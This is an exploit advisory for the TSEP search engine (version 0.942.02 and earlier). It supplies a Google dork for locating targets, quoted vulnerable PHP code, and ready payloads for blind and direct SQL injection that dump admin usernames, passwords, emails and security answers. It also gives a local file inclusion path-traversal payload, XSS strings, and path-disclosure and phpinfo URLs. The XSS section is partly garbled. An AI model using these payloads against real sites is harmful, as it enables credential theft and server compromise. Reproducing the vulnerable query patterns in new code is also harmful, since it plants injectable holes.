TSEP <=0.942.02 Vulnerabilities http://tsep.sourceforge.net Dork: "powered by TSEP - The Search Engine Project" (c)eLwaux 30.06.2009, uasc.org.ua ## ## ## ## ## ## Blind SQL-Inj /admin/rankform.php ----------------------------------------------------------------------------- 23: // Delete the contents 24: if ((isset ($_POST["delete"])) && (isset ($_POST["deleteRank"]))) { 25: $percent = $_POST['deleteRank']; 26: $sql_del = "DELETE FROM $db_tablename WHERE valuepercent='$percent'"; 27: 28: mysql_query($sql_del); 29: } ----------------------------------------------------------------------------- exploit (BlindSQLinj after DELETE): POST: delete = . POST: deleteRank = '{SQL}-- exploit2 (BlindSQLinj after UPDATE): POST: modify = . POST: modifyRank = . POST: display = . POST: comment = . POST: alt = . POST: percent = '{SQL}-- ## ## ## ## ## ## SQL-Inj /admin/rankform.php ----------------------------------------------------------------------------- 54: if ((isset ($_POST["insert"])) && (isset ($_POST["insertNewRank"]))) { 55: $alt = $_POST['alt']; 56: $image_show = $_POST['image_show']; 57: $comment = $_POST['comment']; 58: $percent = $_POST['percent']; 59: $display = reslash($_POST['display']); 60: 61: if (($percent > "0") && ($percent <= "100")) { 62: $sql_ins = "INSERT INTO $db_tablename (alt_tag,display,valuepercent,image_show,comment) 63: VALUES ('$alt','$display','$percent','$image_show','$comment')"; 64: mysql_query($sql_ins); 65: } 66: $sql_upd = "UPDATE $db_tablename SET image_show='$image_show'"; 67: mysql_query($sql_upd); 68: 69: } ----------------------------------------------------------------------------- exploit: POST: insertNewRank = . POST: insert = . POST: percent = 1 POST: alt = 1',( select concat_ws(0x3a,username,passwd,email,question,answer) from tsep_users ),1,1,1);-- POST: image_show = 1 POST: comment = 1 POST: display = 1 then goto /admin/rankform.php and look admin name & passwd & email & question and answer ## ## ## ## ## ## LFI /admin/index.php ----------------------------------------------------------------------------- 335: if ( isset( $_POST ) and count( $_POST ) > 0 ) { 336: $_GET = $_POST; 337: } 338: if ( !isset($_GET["lang"]) ) 339: if ( !isset($_SESSION["lang"]) ) 340: $_GET["lang"] = "en_US"; 341: else 342: $_GET["lang"] = $_SESSION["lang"]; 345: if ( $_GET["lang"] != "en_US" ) 345: require_once( "../language/" . $_GET["lang"] . "/language.php" ); ----------------------------------------------------------------------------- exploit: GET: /admin/?lang=../{FILE.PHP}%00 ## ## ## ## ## ## Blind SQL-inj /admin/indexoverview.php ----------------------------------------------------------------------------- 29: if (isset($_GET['order'])) // for userdefined search order, otherwise sort by time of entry: Title ASC 30: { // write new values 31: $db_tablename = $db_table_prefix."internal"; 32: $query = "UPDATE $db_tablename SET stringvalue='".$_GET['order']."' WHERE description='tsepindexovervieworder'"; 33: $result = mysql_query($query, $tsepdbconnection) or die(mysql_error()); 34: $query = "UPDATE $db_tablename SET stringvalue='".$_GET['dir']."' WHERE description='tsepindexoverviewdirection'"; 35: $result = mysql_query($query, $tsepdbconnection) or die(mysql_error()); 36: } ----------------------------------------------------------------------------- exploit: GET: order = '+and+1=if(select+ascii(lower(substring(passwd,1,1)))>90+from+tsep_users+where+username='adminame',1,0)-- ## ## ## ## ## ## XSS /admin/configuration.php ----------------------------------------------------------------------------- 137:

"> 154: "> 164: "> ----------------------------------------------------------------------------- exploit: GET: /configuration.php/">".addslashes( $_GET["errorMsg"] )."\n"; 107: unset( $_GET["errorMsg"] ); 108: } ----------------------------------------------------------------------------- exploit: GET: /admin/?errorMsg= ## ## ## ## ## ## Path disk: ----------------------------------------------------------------------------- /admin/examples/phpcrawl4tsep.php /admin/examples/fillwithcontent.php /admin/examples/urllist.php /include/indexingtimetaken.php /include/timeneeded.php /include/colorcycle.php /include/dbconnection.php /include/resultnumber.php /include/copyright.php /include/notifyofstopwords.php /inclued/oldmysqltell.php /include/indexstatus.php /include/pagenavigation.php /include/searchterm.php /include/stampittimestamp.php /include/ranking.php /include/ipfunctions.php /include/indexer_search_table.php /include/printpagedetails.php /include/deletefile.php /include/uploadfile.php /include/configfunctions.php ----------------------------------------------------------------------------- ## ## ## ## ## ## PHPINFO: ----------------------------------------------------------------------------- /admin/tsepinfo.php ----------------------------------------------------------------------------- ## ## ## ## ## ## others's exploits: /admin/configcontentimages.php/">{XSS}<" /include/indexer_search_table.php?tsep_lng[help_copyright]=">{XSS}<" /tsepsearch.php?q=sa&s=0&e=10&user_e=10/">{XSS}

Query Builder